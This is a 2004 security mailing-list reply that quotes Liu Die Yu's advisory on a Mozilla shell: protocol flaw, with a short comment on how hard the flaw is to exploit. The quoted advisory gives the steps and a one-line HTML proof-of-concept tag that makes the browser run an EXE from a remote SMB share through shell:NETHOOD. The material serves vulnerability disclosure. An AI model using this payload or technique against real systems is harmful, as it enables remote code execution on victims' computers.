bugtraq - Re: MOZILLA: SHELL can execute remote EXE program

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Date: Fri, 09 Jul 2004 09:51:06 -0400
From: Barry Fitzgerald <bkfsec@....lonestar.org>
To: liudieyu@...rella.name
Cc: bugtraq@...urityfocus.com, NTBugtraq@...tserv.ntbugtraq.com,
   full-disclosure@...ts.netsys.com
Subject: Re: MOZILLA: SHELL can execute remote EXE program



Interesting... I was trying to determine if the shell: exploit could be 
used to execute remote code on a known web server but hadn't approached 
it from the SMB angle.

The obvious mitigating factor for this exploit is that someone would 
need to have prior knowledge of which SMB shares had been visited by the 
user, or otherwise try to manipulate those.   Unless a way to merge this 
flaw with an automated method of placing this shortcut into the nethood 
and controlling what content is on said share --  then this 
vulnerability would almost definately not be usable in widespread exploit.

It could be a danger in situations where the cracker has prior knowledge 
of the network environment, though.

                -Barry


liudieyu@...rella.name wrote:

>SUBJ: MOZILLA: SHELL can execute remote EXE program
>DATE: 2004/07/09
>FROM: Liu Die Yu <liudieyu AT umbrella D0T name>
>############################################################
>[START] Advisory
>############################################################
>
>COPYRIGHT
>---------
>This Advisory is Copyright (c) 2004 "Liu Die Yu". 
>You may distribute it unmodified. 
>You may not modify it and distribute it or distribute parts of it without the
>author's written permission. 
>( To contact "Liu Die Yu": email: liudieyu AT UMBRELLA d0t NAME )
>
>TESTED
>------
>MOZILLA("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040616") 
>running on winxp.en.home.sp1a.up2date.20040709
>
>PROCESS
>-------
>VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED "X-6487ohu4s6x0p". 
>THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER AT
>"shell:NETHOOD"
>
>AT LAST, MAKE MOZILLA REQUEST THE FOLLOWING URL:
>shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe
>
>A FILE NAMED "fileid.exe" IN THE "shared" FOLDER WILL BE EXECUTED.
>
>REFERENCE
>---------
>MOZILLA will open/execute a file when navigated to a valid SHELL-protocol url:
>http://seclists.org/lists/fulldisclosure/2004/Jul/0333.html
>greetingz fly to perrymonj.
>
>WINDOWS support "shell:NETHOOD":
>http://does-not-exist.org/mail-archives/bugtraq/msg02171.html
>thanks to malware for his additional research , and Cheng Peng Su for his
>original discovery.
>
>
>
>liudieyu
>
>http://umbrella.name
>
>############################################################
>[START] PROOF OF CONCEPT
>############################################################
><!-- 
>MOZILLA REMOTE COMPROMISE DEMO
>
>REPLACE "[" WITH "<", and REPLACE "]" WITH ">".
>
>!!!!! WARNING !!!!!
>THIS DEMO WILL NOT WORK WITHOUT PROPER MODIFICATION.
>
>PROCESS:
>1. VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED
>"X-6487ohu4s6x0p".
>	THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER
>AT "shell:NETHOOD"
>2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED "fileid.exe" IN THE
>"shared" FOLDER.
>
>CREATED BY:
>"Liu Die Yu" -> LIUDIEYU at UMBRELLA D0T NAME
>
>COPYRIGHT:
>This Demo is Copyright (c) 2004 "Liu Die Yu". 
>You may distribute it unmodified. 
>You may not modify it and distribute it or distribute parts of it without the
>author's written permission. 
>( To contact "Liu Die Yu": email: liudieyu AT UMBRELLA d0t NAME )
>-->
>
>[IMG SRC="shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe"]
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>  
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html